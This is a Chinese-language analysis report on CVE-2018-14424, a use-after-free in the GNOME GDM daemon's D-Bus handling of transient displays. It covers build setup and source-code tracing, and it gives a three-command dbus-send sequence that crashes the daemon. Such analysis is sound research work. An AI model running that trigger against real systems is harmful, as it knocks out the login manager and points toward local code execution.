CVE-2018-14424 use-after-free of disposed transient displays 分析报告

漏洞描述

GDM守护进程不能正确的取消导出在D-Bus 接口上已经被销毁的display对象，这造成本地用户可以触发UAF，从而使系统崩溃或造成任意代码执行。

调试环境

gdm版本: 3.14.2(通过git下载3.14版本的gdm)

Linux发型版本: Debain 9.5

内核版本: 4.9.0-7

体系结构: x86_64

工具: d-feet

环境搭建

安装前需要将已经安装的登陆管理器卸载(我环境中的是gdm3)

需要装的库：

build-essential dh-autoreconf intltool libcurl4-openssl-dev pkg-config libgtk-3-dev libmutter-dev libwnck-3-dev libgnome-menu-3-dev libupower-glib-dev gobject-introspection libglib3.0-cil-dev libgtk3.0-cil-dev libaccountsservice-dev libcanberra-gtk3-0 libcanberra-gtk3-dev libpam0g-dev

gdm 安装

# groupadd -g 21 gdm &&
useradd -c "GDM Daemon Owner" -d /var/lib/gdm -u 21 \
        -g gdm -s /bin/false gdm &&
passwd -ql gdm

# ./autogen.sh

# ./configure CFLAGS=-g --prefix=/usr         \
            --sysconfdir=/etc     \
            --localstatedir=/var  \
            --without-plymouth    \
            --disable-static      \
            --enable-gdm-xsession \
            --with-pam-mod-dir=/lib/security &&
make

# make install &&
install -v -m644 data/gdm.service.in /lib/systemd/system/gdm.service

更换/etc/X11/default-display-manager中为刚刚安装好的gdm二进制文件路径

之后运行

# systemctl enable gdm

使gdm守护进程开机启动

重启发现根本无法显示登陆管理器界面,可以使用Ctrl+Alt+F3的方式 切换到字符终端，然后登陆输入startx。其gdm守护进程也是启动的不影响调试。

漏洞分析

使gdm守护进程崩溃的命令如下:

$ display_path=$(dbus-send --system --dest=org.gnome.DisplayManager --type=method_call --print-reply=literal /org/gnome/DisplayManager/LocalDisplayFactory org.gnome.DisplayManager.LocalDisplayFactory.CreateTransientDisplay)

$ sleep 5

$ dbus-send --system --dest=org.gnome.DisplayManager --type=method_call $display_path org.gnome.DisplayManager.Display.GetId

其中D-Bus是针对桌面环境优化的IPC机制，用于进程间的通信或进程与内核的通信。(更加详细的D-Bus介绍可参考资料4、5、6)

第一条命令：调用显示登录管理器下面的LocalDisplayFactory对象的CreateTransientDisplay方法,并将回复的消息正文保存到display_path变量中

第二条命令 : 等待5秒

第三条命令：调用显示登录管理器下面的名称为第一条命令返回的字符串（保存在display_path变量中，类似于字符串“/org/gnome/DisplayManager/Displays/94425659672144”）的GetId方法

第一条命令分析

阅读资料7可以发现，第一条命令会调用daemon/gdm-local-display-factory.c:handle_create_transient_display函数

static gboolean
handle_create_transient_display (GdmDBusLocalDisplayFactory *skeleton,
                                 GDBusMethodInvocation      *invocation,
                                 GdmLocalDisplayFactory     *factory)
{
    ..............................
    created = gdm_local_display_factory_create_transient_display (factory,
                                                                      &id,
                                                                      &error);
    ..............................
    gdm_dbus_local_display_factory_complete_create_transient_display (skeleton, invocation, id);
    ..............................
}

其主要调用的函数为gdm_local_display_factory_create_transient_display.

gboolean
gdm_local_display_factory_create_transient_display (GdmLocalDisplayFactory *factory,
                                                    char                  **id,
                                                    GError                **error)
{
        ..................................................
        store_display (factory, num, display);
        ..................................................
}

其主要完成的任务是：

分配一个数字,然后分配一个与刚刚分配数字相关联的display对象。将display保存到GdmDisplayStore中的hash表中，将数字保存到GdmLocalDisplayFactory中priv的hash表中。

如果继续跟踪的store_display（静态+动态），会发现其调用了on_display_added函数

\\gdm-manager.c
static void
on_display_added (GdmDisplayStore *display_store,
                  const char      *id,
                  GdmManager      *manager)
{
        ............................
        display = gdm_display_store_lookup (display_store, id);
        ..........................
        if (display != NULL) {
                g_dbus_object_manager_server_export (manager->priv->object_manager,
                                                     gdm_display_get_object_skeleton (display));

                g_signal_connect (display, "notify::status",
                                  G_CALLBACK (on_display_status_changed),
                                  manager);
                g_signal_emit (manager, signals[DISPLAY_ADDED], 0, id);
        }
}

该函数完成的功能是：将刚刚创建的对象导出,并且将display对象的状态变换与on_display_status_changed(gdm-local-display-factory.c)函数相关联，如果我们用d-feet工具查看的话，可以看到已经导出。

第二条命令分析

我们分析刚刚创建的display对象的状态变换函数:

\\gdm-local-display-factory.c
static void
on_display_status_changed (GdmDisplay             *display,
                           GParamSpec             *arg1,
                           GdmLocalDisplayFactory *factory)
{
.....................
    case GDM_DISPLAY_FINISHED:
                /* remove the display number from factory->priv->displays
                   so that it may be reused */
                g_hash_table_remove (factory->priv->displays, GUINT_TO_POINTER (num));
                gdm_display_store_remove (store, display);
.....................
}

其会将display对象从hash表中删除(并没有将该内存销毁，销毁是在另一个函数中完成的)

我们查看gdm-display.c中的queue_finish函数，其会调用g_idle_add添加一个让程序在空闲时执行的函数,让其在空闲的时候销毁display对象。跟踪（动态加静态）发现其调用

static void
stored_display_free (StoredDisplay *stored_display)
{
        char *id;

        gdm_display_get_id (stored_display->display, &id, NULL);

        g_signal_emit (G_OBJECT (stored_display->store),
                       signals[DISPLAY_REMOVED],
                       0,
                       id);
        g_free (id);

        g_debug ("GdmDisplayStore: Unreffing display: %p",
                 stored_display->display);
        g_object_unref (stored_display->display);

        g_slice_free (StoredDisplay, stored_display);
}

其在这里完成了display对象的内存销毁,在销毁对象之前,该函数会调用on_display_removed函数

\\gdm-manager.c
static void
on_display_removed (GdmDisplayStore *display_store,
                    const char      *id,
                    GdmManager      *manager)
{
        GdmDisplay *display;

        display = gdm_display_store_lookup (display_store, id);
        if (display != NULL) {
                g_dbus_object_manager_server_unexport (manager->priv->object_manager, id);

                g_signal_handlers_disconnect_by_func (display, G_CALLBACK (on_display_status_changed), manager);

                g_signal_emit (manager, signals[DISPLAY_REMOVED], 0, id);
        }
}

分析可知该函数是将该对象取消导出。

所以可以知道第二条命令完成的是：等待display对象状态变为GDM_DISPLAY_FINISHED，然后将其从hash表中移除。等待空闲时调用stored_display_free函数，其调用on_display_removed，在该函数中因为该display对象已经被移除，gdm_display_store_lookup会返回空，所以取消该对象的导出失败，然后返回stored_display_free函数，将display对象销毁。但是通过d-feet工具查看，该对象仍然存在。

第三条命令分析

然后我们分析第三条命令(要调用的对象是/org/gnome/DisplayManager/Displays/94425659672144的GetId，其中只有数字部分是随机的其他不变)

根据介绍的方法可以定位到调用GetId方法的代码.

\\daemon\gdm-display.c
static gboolean
handle_get_id (GdmDBusDisplay        *skeleton,
               GDBusMethodInvocation *invocation,
               GdmDisplay            *display)
{
        char *id;

        gdm_display_get_id (display, &id, NULL);

        gdm_dbus_display_complete_get_id (skeleton, invocation, id);

        g_free (id);
        return TRUE;
}

其对已经释放的display对象操作，造成UAF。

资料

1.CVE-2018-14424 use-after-free of disposed transient displays

https://gitlab.gnome.org/GNOME/gdm/issues/401

2.GDM源代码

https://github.com/GNOME/gdm

3.GDM安装

http://www.linuxfromscratch.org/blfs/view/systemd/gnome/gdm.html

4.dbus实例讲解（一）：初次见面

http://www.fmddlmyy.cn/text49.html

5.dbus实例讲解（二）

http://www.fmddlmyy.cn/text51.html

6.dbus实例讲解（二上）：消息和消息总线

http://www.fmddlmyy.cn/text52.html

7.gdbus-codegen

https://manned.org/gdbus-codegen/37c6dcd1

8.GObject对象系统

https://www.ibm.com/developerworks/cn/linux/l-gobject/index.html